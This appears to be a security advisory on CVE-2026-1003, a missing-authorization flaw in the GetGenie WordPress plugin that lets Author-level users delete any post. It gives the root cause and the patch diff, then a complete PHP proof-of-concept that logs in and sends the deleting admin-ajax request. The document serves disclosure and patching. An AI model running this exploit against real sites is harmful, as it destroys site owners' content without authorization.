Atomic Edge analysis of CVE-2026-1003:
This vulnerability is a missing authorization flaw in the GetGenie WordPress plugin, affecting versions up to and including 4.3.0. The vulnerability allows authenticated attackers with Author-level permissions or higher to delete arbitrary posts, including those authored by other users. The CVSS score of 4.3 reflects a moderate severity impact on confidentiality and integrity.
The root cause lies in the GetGenieChat.php file within the deleteConversation method. The vulnerable code at line 150 directly calls wp_delete_post($conversation_id, true) without performing any authorization checks. The function does not verify that the current user owns the post being deleted or that the post type matches the expected ‘getgenie_chat’ type. This omission creates an authorization bypass where any authenticated user can delete any post by supplying its ID.
Exploitation requires an authenticated attacker with at least Author-level access. The attacker sends a POST request to the WordPress AJAX endpoint at /wp-admin/admin-ajax.php with the action parameter set to ‘getgenie_chat_delete_conversation’. The request must include a conversation_id parameter containing the numeric ID of any post on the site. No nonce or additional validation is required. The plugin processes this request through the deleteConversation method, which deletes the specified post regardless of ownership.
The patch adds three critical authorization checks before deletion. The code now retrieves the post object using get_post($conversation_id) and verifies three conditions: the post must exist ($post), the post type must be ‘getgenie_chat’ ($post->post_type !== ‘getgenie_chat’), and the post author must match the current user ID ((int) $post->post_author !== get_current_user_id()). If any check fails, the function returns an access denied message instead of deleting the post. These checks ensure users can only delete their own chat conversation posts.
Successful exploitation allows attackers to delete any post on the WordPress site. This includes posts authored by administrators, editors, or other users. The impact ranges from content destruction and data loss to potential business disruption if critical pages are removed. While the vulnerability requires Author-level authentication, many WordPress sites grant this level to untrusted contributors, expanding the attack surface.
--- a/getgenie/app/Api/GetGenieChat.php
+++ b/getgenie/app/Api/GetGenieChat.php
@@ -150,6 +150,14 @@
endwhile;
} else {
+ // Verify the post exists, belongs to current user, and is the correct post type
+ $post = get_post($conversation_id);
+ if (!$post || $post->post_type !== 'getgenie_chat' || (int) $post->post_author !== get_current_user_id()) {
+ return [
+ 'status' => 'fail',
+ 'message' => ['Access denied. You can only delete your own chat conversations.'],
+ ];
+ }
wp_delete_post($conversation_id, true);
$deleted++;
}
--- a/getgenie/getgenie.php
+++ b/getgenie/getgenie.php
@@ -5,7 +5,7 @@
* Description: GetGenie AI is the most intuitive A.I Content Wordpress Plugin that can help you save time and write smarter.
* Plugin URI: https://getgenie.ai/
* Author: getgenieai
- * Version: 4.3.0
+ * Version: 4.3.1
* Author URI: https://getgenie.ai/
*
* Text Domain: getgenie
@@ -20,7 +20,7 @@
defined('ABSPATH') || exit;
-define('GETGENIE_VERSION', '4.3.0');
+define('GETGENIE_VERSION', '4.3.1');
define('GETGENIE_TEXTDOMAIN', 'getgenie');
define('GETGENIE_BASENAME', plugin_basename(__FILE__));
define('GETGENIE_URL', trailingslashit(plugin_dir_url(__FILE__)));
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1003 - GetGenie – AI Content Writer with Keyword Research & SEO Tracking Tools <= 4.3.0 - Missing Authorization to Authenticated (Author+) Arbitrary Post Deletion
<?php
$target_url = 'https://vulnerable-site.com';
$username = 'attacker_author';
$password = 'password123';
$target_post_id = 123; // ID of any post to delete
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_1003');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
// Step 2: Extract nonce from admin page (not required for this vulnerability but included for completeness)
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/',
CURLOPT_POST => false
]);
$admin_page = curl_exec($ch);
// Step 3: Exploit the missing authorization vulnerability
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'getgenie_chat_delete_conversation',
'conversation_id' => $target_post_id
])
]);
$exploit_response = curl_exec($ch);
curl_close($ch);
// Step 4: Verify exploitation
if (strpos($exploit_response, '"status":"success"') !== false) {
echo "SUCCESS: Post ID $target_post_id deleted.n";
echo "Response: $exploit_responsen";
} else {
echo "FAILED: Post deletion unsuccessful.n";
echo "Response: $exploit_responsen";
}
unlink($cookie_file);
?>
